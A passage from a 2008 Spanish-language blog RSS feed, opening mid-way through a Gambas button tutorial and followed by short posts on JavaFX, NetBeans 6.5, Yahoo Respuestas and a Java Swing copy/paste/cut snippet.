<p><a href="http://4.bp.blogspot.com/_lKXHiMxyf7o/SVSUNe0IvYI/AAAAAAAAAQM/-vsaAxUDqYA/s1600-h/Pantallazo-7.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_lKXHiMxyf7o/SVSUNe0IvYI/AAAAAAAAAQM/-vsaAxUDqYA/s320/Pantallazo-7.png" border="0" alt="" /></a>6.-Para eso damos <span class="blsp-spelling-error">click</span> en el icono que tiene la figura de un <span class="blsp-spelling-corrected">botón</span> del lado derecho de la pantalla y dentro de la forma damos un <span class="blsp-spelling-error">click</span> izquierdo sin soltar el <span class="blsp-spelling-corrected">botón</span> y estiramos hasta que nuestro <span class="blsp-spelling-corrected">botón</span> quede d<br />
el tamaño que deseamos.<br />
<a href="http://2.bp.blogspot.com/_lKXHiMxyf7o/SVSUNO7nR1I/AAAAAAAAAQE/Pqy0HNviP8M/s1600-h/Pantallazo-8.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_lKXHiMxyf7o/SVSUNO7nR1I/AAAAAAAAAQE/Pqy0HNviP8M/s320/Pantallazo-8.png" border="0" alt="" /></a>7.-Ahora le damos doble <span class="blsp-spelling-error">click</span> al <span class="blsp-spelling-corrected">botón</span> para que nos mande al <span class="blsp-spelling-corrected">código</span> del <span class="blsp-spelling-corrected">botón</span> y escribimos lo siguiente</p>
<blockquote><p><span class="blsp-spelling-error">Message</span>.<span class="blsp-spelling-error">Info</span>(&#8220;Saludos!!&#8221;)</p></blockquote>
<p>(aquí tuve un error de ponerle &#8220;;&#8221; <span class="blsp-spelling-error">jaa</span>!.. che java y c)<br />
<a href="http://2.bp.blogspot.com/_lKXHiMxyf7o/SVSUM-w4cFI/AAAAAAAAAP8/xweeiCrZ9eY/s1600-h/Pantallazo-10.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_lKXHiMxyf7o/SVSUM-w4cFI/AAAAAAAAAP8/xweeiCrZ9eY/s320/Pantallazo-10.png" border="0" alt="" /></a><br />
Esto <span class="blsp-spelling-corrected">hará</span> que al momento de darle <span class="blsp-spelling-error">click</span> al <span class="blsp-spelling-corrected">botón</span> <span class="blsp-spelling-corrected">saldrá</span> una <span class="blsp-spelling-corrected">ventanita</span> saludando.</p>
<p>8.- Para cambiar lo que dice dentro del <span class="blsp-spelling-corrected">botón</span> nos vamos a la parte derecha de la pantalla y en propiedades se encuentra el campo <span style="font-weight:bold;"><span class="blsp-spelling-error">Text</span></span> que es donde modificaremos lo que aparece dentro del <span class="blsp-spelling-corrected">botón</span>.<br />
<a href="http://3.bp.blogspot.com/_lKXHiMxyf7o/SVSUMjEyw_I/AAAAAAAAAP0/kDvkTAMHnP0/s1600-h/Pantallazo-11.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_lKXHiMxyf7o/SVSUMjEyw_I/AAAAAAAAAP0/kDvkTAMHnP0/s320/Pantallazo-11.png" border="0" alt="" /></a>9.-Corremos el programa con la <span class="blsp-spelling-corrected">flecha</span> <span style="font-weight:bold;"><span class="blsp-spelling-error">run</span></span> que aparece en la barra de arriba y nos <span class="blsp-spelling-corrected">saldrá</span> el <span class="blsp-spelling-error">programa</span> que hemos creado con el <span class="blsp-spelling-corrected">botánico</span>.<br />
<a href="http://2.bp.blogspot.com/_lKXHiMxyf7o/SVSUMjE98CI/AAAAAAAAAPs/abTSHBWEya0/s1600-h/Pantallazo-12.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_lKXHiMxyf7o/SVSUMjE98CI/AAAAAAAAAPs/abTSHBWEya0/s320/Pantallazo-12.png" border="0" alt="" /></a><br />
10.- Le damos <span class="blsp-spelling-error">click</span> al <span class="blsp-spelling-corrected">botón</span> y nos mostrara el mensaje saludando que le agregamos <img src='http://soycachanilla.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<a href="http://4.bp.blogspot.com/_lKXHiMxyf7o/SVSYwrlTH7I/AAAAAAAAAQU/mySQv6wBBOo/s1600-h/Pantallazo-13.png"><img style="margin: 0pt auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://4.bp.blogspot.com/_lKXHiMxyf7o/SVSYwrlTH7I/AAAAAAAAAQU/mySQv6wBBOo/s320/Pantallazo-13.png" border="0" alt="" /></a><br />
Y tan tan, nuestro primer <span class="blsp-spelling-error">programita</span> en gambas, para quienes no lo <span class="blsp-spelling-corrected">conocían</span> como yo, pues ya tienen otra alternativa GRATUITA para programar parecido al Basic.</p>
<p>Pagina oficial<br />
<a href="http://gambas.sourceforge.net/">gambas.sourceforge.net</a><br />
Mas <span class="blsp-spelling-error">info</span> en español aquí<br />
<a href="http://www.emete.es/node/19"><span class="blsp-spelling-error">Emete</span>.es</a></p>
<div class="blogger-post-footer"></div>
]]></content:encoded>
			<wfw:commentRss>http://soycachanilla.com/2008/12/que-es-gambas-y-como-instalarlo-en-ubuntu-810.html/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Crear un MediaPlayer con JavaFX</title>
		<link>http://soycachanilla.com/2008/12/crear-un-mediaplayer-con-javafx.html</link>
		<comments>http://soycachanilla.com/2008/12/crear-un-mediaplayer-con-javafx.html#comments</comments>
		<pubDate>Fri, 12 Dec 2008 17:33:00 +0000</pubDate>
		<dc:creator>danielmd</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Software libre]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[javafx]]></category>
		<category><![CDATA[media player]]></category>
		<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://labajaenred.wordpress.com/2008/12/12/crear-un-mediaplayer-con-javafx/</guid>
		<description><![CDATA[En el siguiente video se puede ver como crear un Reproductor de video de una manera rápida y sencilla utilizando JavaFX. (click para reproducir) Si quieren seguir viendo más videos de este tipo visiten la página de tv de NetBeans, seguro aprenden algo nuevo . Fuente :MediaPlayer con JavaFX]]></description>
			<content:encoded><![CDATA[<p>En el siguiente video se puede ver como crear un Reproductor de video de una manera rápida y sencilla utilizando <span style="font-weight:bold;">JavaFX</span>.</p>
<p><a href="http://www.netbeans.tv/screencasts/JavaFX-MediaPlayer-431/"><img style="display:block;text-align:center;cursor:pointer;width:400px;height:300px;margin:0 auto 10px;" src="http://4.bp.blogspot.com/_lKXHiMxyf7o/SUKk_10w5dI/AAAAAAAAALs/thVqaVnj88k/s400/netbeans.PNG" alt="" border="0" /></a>
<div style="text-align:center;">(click para reproducir)</div>
<p>Si quieren seguir viendo más videos de este tipo visiten la página de tv de NetBeans, seguro aprenden algo nuevo <img src='http://soycachanilla.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  .</p>
<p><a href="http://1.bp.blogspot.com/_lKXHiMxyf7o/SUKlx60hRkI/AAAAAAAAAL0/Zf2cjuKiF8E/s1600-h/netbeanstv.jpg"><img style="display:block;text-align:center;cursor:pointer;width:300px;height:105px;margin:0 auto 10px;" src="http://1.bp.blogspot.com/_lKXHiMxyf7o/SUKlx60hRkI/AAAAAAAAAL0/Zf2cjuKiF8E/s400/netbeanstv.jpg" alt="" border="0" /></a><br />Fuente :<a href="http://www.netbeans.tv/screencasts/JavaFX-MediaPlayer-431/">MediaPlayer con JavaFX</a>
<div class="blogger-post-footer">
</div>
]]></content:encoded>
			<wfw:commentRss>http://soycachanilla.com/2008/12/crear-un-mediaplayer-con-javafx.html/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>JavaFX 1.0 liberado.</title>
		<link>http://soycachanilla.com/2008/12/javafx-10-liberado.html</link>
		<comments>http://soycachanilla.com/2008/12/javafx-10-liberado.html#comments</comments>
		<pubDate>Thu, 04 Dec 2008 22:27:00 +0000</pubDate>
		<dc:creator>danielmd</dc:creator>
				<category><![CDATA[Diseño]]></category>
		<category><![CDATA[Open source]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Software libre]]></category>
		<category><![CDATA[javax]]></category>
		<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://labajaenred.wordpress.com/2008/12/04/javafx-10-liberado/</guid>
		<description><![CDATA[Hace unas horas fue liberada la versión 1.0 de JavaFX la cual es una nueva tecnología de Sun Microsistems para la creación de RIA&#8217;s Algunas de sus caracteristicas son: Soporte 3D Soporte Nativo para Audio Soporte Nativo para videos Nuevo set rico de componentes visuales Soporte para animaciones Soporte para exportar desde Photoshop a netbeans [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://3.bp.blogspot.com/_lKXHiMxyf7o/SThaRr2K7NI/AAAAAAAAALc/xmdHz9HthB8/s1600-h/javafx_logo.png"><img style="display:block;text-align:center;cursor:pointer;width:279px;height:116px;margin:0 auto 10px;" src="http://3.bp.blogspot.com/_lKXHiMxyf7o/SThaRr2K7NI/AAAAAAAAALc/xmdHz9HthB8/s400/javafx_logo.png" alt="" border="0" /></a><br />Hace unas horas fue liberada la versión 1.0 de <a href="http://www.javafx.com/">JavaFX</a> la cual es una nueva tecnología de<a href="http://es.wikipedia.org/wiki/Sun_Microsystems"> Sun Microsistems</a> para la creación de <a href="http://es.wikipedia.org/wiki/Rich_Internet_Application"> RIA&#8217;s </a></p>
<p>Algunas de sus caracteristicas son:
<ul>
<li>Soporte 3D </li>
<li>Soporte Nativo para Audio</li>
<li>Soporte Nativo para videos</li>
<li>Nuevo set rico de componentes visuales</li>
<li>Soporte para animaciones</li>
<li>Soporte para exportar desde Photoshop a netbeans</li>
<li>Soporte para crear proyectos en Netbeans </li>
<li>Soporte para dispositivos mobiles</li>
<li>y mucho, mucho más.</li>
</ul>
<p><span style="font-weight:bold;">JavaFX </span>pretende ser la competencía de <a href="http://es.wikipedia.org/wiki/Adobe_Flash" title="Adobe Flash">Flash</a> y <a href="http://es.wikipedia.org/wiki/Silverlight" title="Silverlight" class="mw-redirect">Silverlight</a><a href="http://es.wikipedia.org/wiki/Microsoft" title="Microsoft"></a>.</p>
<p>Para descargarlo y ver algunos demos de lo que se puede hacer con esta aplicación que por el momento solo esta disponible para Windows y Mac, pueden visitar el siguiente enlace.
<div style="text-align:center;"><a href="http://www.javafx.com/"><span style="font-size:180%;"><span style="font-weight:bold;">javafx.com</span></span></a></div>
<p>Fuentes: <a href="http://twitter.com/netbeans">Twitter NetBeans</a> y <a href="http://www.javahispano.org/contenidos/es/javafx_1_0_al_fin_liberado/?menuId=NEWS">Javahispano.org </a>
<div class="blogger-post-footer">
</div>
]]></content:encoded>
			<wfw:commentRss>http://soycachanilla.com/2008/12/javafx-10-liberado.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NetBeans IDE 6.5 ya esta disponible</title>
		<link>http://soycachanilla.com/2008/11/netbeans-ide-65-ya-esta-disponible.html</link>
		<comments>http://soycachanilla.com/2008/11/netbeans-ide-65-ya-esta-disponible.html#comments</comments>
		<pubDate>Wed, 19 Nov 2008 22:51:00 +0000</pubDate>
		<dc:creator>danielmd</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[liberado]]></category>
		<category><![CDATA[netbeans]]></category>

		<guid isPermaLink="false">http://labajaenred.wordpress.com/2008/11/19/netbeans-ide-65-ya-esta-disponible/</guid>
		<description><![CDATA[Para los amantes de la programación en JAVA!!. Estaba revisando el mail cuando veo que anoche me llego uno por parte de netbeans.org diciendo que NetBeans IDE 6.5 ya esta disponible para descargar y usarlo. Así que les dejo una parte del mail donde explican algo con lo que cuenta esta versión y si lo [...]]]></description>
			<content:encoded><![CDATA[<div style="text-align:center;">Para los amantes de la programación en <a href="http://www.blogger.com/es.wikipedia.org/wiki/Java"><span style="font-style:italic;">JAVA</span></a>!!.</div>
<p>Estaba revisando el mail cuando veo que anoche me llego uno por parte de netbeans.org diciendo que <span style="font-weight:bold;"><a href="http://www.blogger.com/es.wikipedia.org/wiki/NetBeans">NetBeans</a> IDE 6.5</span> ya esta disponible para descargar y usarlo.</p>
<p>Así que les dejo una parte del mail donde explican algo con lo que cuenta esta versión y si lo quieren probar o actualizarse, pues ahí lo tienen calientito y recien salido del comal.</p>
<p><a href="http://www.netbeans.org/images/v6/nb-logo-frontpage.gif"><img style="display:block;text-align:center;cursor:pointer;width:176px;height:27px;margin:0 auto 10px;" src="http://www.netbeans.org/images/v6/nb-logo-frontpage.gif" alt="" border="0" /></a>
</p>
<blockquote><p><span style="font-weight:bold;color:rgb(102,0,204);">NetBeans™</span> IDE 6.5 offers simplified and rapid development of web, enterprise, desktop, and mobile applications with PHP, JavaScript, Java, C/C++, Ruby, and Groovy.</p>
<p>New features include a robust IDE for PHP, JavaScript debugging for Firefox and IE, and support for Groovy and Grails. NetBeans IDE 6.5 also delivers a number of enhancements for Java, Ruby on Rails, and C/C++ development. Java highlights include: built-in support for Hibernate, Eclipse project import, and compile on save.</p>
<p>Combining excellent out of the box experience, compelling features, and a great plugin ecosystem, NetBeans IDE 6.5 is a must-download for all developers. </p>
</blockquote>
<div style="text-align:center;font-weight:bold;">Para descargarlo <a href="http://www.netbeans.org/downloads/index.html?intcmp=926809">Download NetBeans IDE 6.5</a></div>
<div class="blogger-post-footer">
</div>
]]></content:encoded>
			<wfw:commentRss>http://soycachanilla.com/2008/11/netbeans-ide-65-ya-esta-disponible.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yahoo Respuestas, un buen sitio para aprender y ayudar.</title>
		<link>http://soycachanilla.com/2008/11/yahoo-respuestas-un-buen-sitio-para-aprender-y-ayudar.html</link>
		<comments>http://soycachanilla.com/2008/11/yahoo-respuestas-un-buen-sitio-para-aprender-y-ayudar.html#comments</comments>
		<pubDate>Mon, 10 Nov 2008 06:37:00 +0000</pubDate>
		<dc:creator>danielmd</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Redes sociales]]></category>
		<category><![CDATA[Música]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://labajaenred.wordpress.com/2008/11/10/yahoo-respuestas-un-buen-sitio-para-aprender-y-ayudar/</guid>
		<description><![CDATA[Hace como 4 días me registre en esa página y la verdad es que me ha servido bastante para desenpolvar mis conocimientos sobre sistemas operativos, programación, software, bases de datos, música, lugares etc.. Nunca le había prestado atención hasta hace 4 días, sin embargo ya la conocía, ya que Google alguna ves me mando hacia [...]]]></description>
			<content:encoded><![CDATA[<div style="text-align:center;"><a href="http://espanol.answers.yahoo.com/"><img src="http://us.i1.yimg.com/i/latam/logos/e1a_respuestas.gif" alt="" /></a></p>
<div style="text-align:left;">Hace  como 4 días me registre en esa página y la verdad es que me ha servido bastante para <span class="blsp-spelling-error">desenpolvar</span> mis conocimientos sobre sistemas operativos,  programación,  software,  bases de datos,  música, lugares etc..  Nunca le había prestado atención hasta hace 4 días, sin embargo ya la conocía, ya que Google alguna ves me mando hacia ella buscando información sobre X cosa que investigaba.</p>
<p>De que se trata?<br /><a href="http://es.wikipedia.org/wiki/Yahoo%21_Respuestas">Veamos que dice <span class="blsp-spelling-error">Wikipedia</span></a><br /><b></b></div>
</div>
<blockquote><div style="text-align:center;">
<div style="text-align:left;"><b>Yahoo! Respuestas</b> es una comunidad <span class="blsp-spelling-error">online</span> que permite que los usuarios hagan y que contesten a preguntas planteadas por otros usuarios, al estilo de <a href="http://es.wikipedia.org/wiki/Google_Respuestas" title="Google Respuestas">Google Respuestas</a>; pero la única diferencia con este servicio es que el uso es gratuito. Para hacer una pregunta o contestar una, el usuario tiene que tener una cuenta <a href="http://es.wikipedia.org/wiki/Yahoo%21" title="Yahoo!">Yahoo!</a> con un balance positivo de puntos.</div>
</div>
<p></p></blockquote>
<blockquote></blockquote>
<p>Realmente me ha gustado bastante esa <span class="blsp-spelling-error">web</span>, ya que muchas de tus preguntas o las preguntas que respondes, son casi al instante, ya que muchos usuarios quieren responder la mayor cantidad de preguntas para ganar puntos,  <span class="blsp-spelling-error">ahh</span>! pues a eso se refiere la definición de <span class="blsp-spelling-error">wikipedia</span>, cada usuario acumula o disminuye puntos según algunas reglas establecidas, por ejemplo:</p>
<ul>
<li>Si un usuario responde una pregunta, gana 2 puntos.</li>
<li>Si un usuario hace una pregunta a tus puntos se le restan 5</li>
<li>Si un usuario respondió una pregunta y el que hizo la pregunta considera que tu respuesta fue la mejor, ganas 2 puntos +10 por ser la mejor respuesta.</li>
</ul>
<p>Entre otras más que pueden ver en la página, claro! si es que les interesa.</p>
<p>A mi me gusto porque esta pensada para que todo el mundo colabore y aporte algo a los demás,  algunas personas pueden dominar un tema, pero no conocen de otros, es decir, yo puedo saber mucho de computadoras, pero para la moda soy <span style="font-style:italic;">MUY MALO</span> , es ahí cuando otras personas me pueden ayudar a mi, como dije antes, el sitio esta para que  nos ayudemos unos a otros, no te la puedes pasar preguntado porque te dan 100 puntos, los cuales pierdes si haces 20 preguntas ya que cada una vale -5 puntos, a fuerzas tendrás que participar e ir sumando puntos =D!!! no es genial? <span class="blsp-spelling-error">jaja</span>.</p>
<p>Ya para terminar, una anécdota rápida.<br />Hace mucho estaba en un foro de diseño gráfico en un tema que se llamaba galerías, entonces entro una chica y coloco una imagen.</p>
<p><span style="font-weight:bold;">Entre y le pregunte: </span>¿ Oye, me podrías decir como hiciste X efecto?<br /><span style="font-weight:bold;color:rgb(255,153,255);">Me responde:</span> Soy diseñadora gráfica y no comparto mis trucos, luego me los roban.<br /><span style="font-weight:bold;">Respondo:</span> <span class="blsp-spelling-error">oumm</span>.. pero solo quiero saber como hiciste el efecto X para hacer algo parecido, yo no soy diseñador, pero me gusta mucho el diseño, lo hago por aprender y nada mas.<br /><span style="color:rgb(255,153,255);font-weight:bold;">Me responde:</span> Soy de las personas que no les gusta compartir su trabajo, mi imaginación y creatividad son las que me dan de comer y no las impartiré con nadie.<br /><span style="font-weight:bold;">Respondo:</span>  <span class="blsp-spelling-error">Jajaja</span>!!.. si todas las personas de las que he leído un <span class="blsp-spelling-error">tutoríal</span> pensara igual que tu, Nunca hubiese aprendido tan rápido a usar el <span class="blsp-spelling-error">photoshop</span>, entonces eres de las que siempre espera a recibir y nada mas, no?..<br /><span style="font-weight:bold;font-style:italic;">Nunca me <span class="blsp-spelling-error">respondio</span>&#8230;. </span></p>
<p>Se imaginan si todos pensáramos de la misma forma que ella?<br />Seriamos unos cavernícolas! <span class="blsp-spelling-error">XD</span>..</p>
<p>En fin, entren a <span class="blsp-spelling-error">yahoo</span> respuestas, foros  y demás sitios que sean parecidos,  les ayuda a aprender, investigar y a dejar de ser menos ignorantes que el día de ayer.
<div class="blogger-post-footer">
</div>
]]></content:encoded>
			<wfw:commentRss>http://soycachanilla.com/2008/11/yahoo-respuestas-un-buen-sitio-para-aprender-y-ayudar.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Programación en Java</title>
		<link>http://soycachanilla.com/2008/11/programacion-en-java.html</link>
		<comments>http://soycachanilla.com/2008/11/programacion-en-java.html#comments</comments>
		<pubDate>Mon, 03 Nov 2008 04:33:00 +0000</pubDate>
		<dc:creator>danielmd</dc:creator>
				<category><![CDATA[Programación]]></category>

		<guid isPermaLink="false">http://labajaenred.wordpress.com/2008/11/03/programacion-en-java/</guid>
		<description><![CDATA[Copy, Paste y Cut en Java. Crear botones en java que hagan esto, es muy fácil, para esto vamos a utilizar la librería DefaultEditorKit import javax.swing.text.DefaultEditorKit; Solo hay que llamar la acción cuando creamos el botón como se muestra en la siguiente imágen.Esto es en cuanto a copy, los demas se hacen de la misma [...]]]></description>
			<content:encoded><![CDATA[<div style="text-align:center;font-weight:bold;color:rgb(255,0,0);"> Copy, Paste y Cut  en Java.</div>
<p>Crear botones en java que hagan esto, es muy fácil, para esto vamos a utilizar la librería <a href="http://java.sun.com/j2se/1.4.2/docs/api/javax/swing/text/DefaultEditorKit.html"><span style="font-weight:bold;font-style:italic;">DefaultEditorKit  </span></a><span style="color:rgb(153,51,153);font-weight:bold;"></p>
<p></span><br />
<blockquote><span style="color:rgb(153,51,153);font-weight:bold;">import</span><span style="font-weight:bold;"> javax.swing.text.DefaultEditorKit;</span></p></blockquote>
<p>Solo hay que llamar la acción cuando creamos el botón como se muestra en la siguiente imágen.<br /><span style="text-decoration:underline;"><br /></span><a href="http://2.bp.blogspot.com/_lKXHiMxyf7o/SQ6AfvCrj0I/AAAAAAAAAEg/jI6S60hV5I0/s1600-h/Dibujo.PNG"><img style="display:block;text-align:center;cursor:pointer;width:374px;height:105px;margin:0 auto 10px;" src="http://2.bp.blogspot.com/_lKXHiMxyf7o/SQ6AfvCrj0I/AAAAAAAAAEg/jI6S60hV5I0/s320/Dibujo.PNG" alt="" border="0" /></a><br />Esto es en cuanto a copy, los demas se hacen de la misma forma solo que sería así:<br />Paste = <span style="font-weight:bold;color:rgb(153,51,153);">new</span> JButton(<span style="color:rgb(153,51,153);font-weight:bold;">new</span> DefaultEditorKit.PasteAction());<br />Cut = <span style="font-weight:bold;color:rgb(153,51,153);">new</span> JButton(<span style="color:rgb(153,51,153);font-weight:bold;">new</span> DefaultEditorKit.CutAction());</p>
<p>Yo lo hice con <a href="www.eclipse.org/">eclipse</a>  para un programita que me puse hacer, en fin, espero les sirva.
<div class="blogger-post-footer">
</div>
]]></content:encoded>
			<wfw:commentRss>http://soycachanilla.com/2008/11/programacion-en-java.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

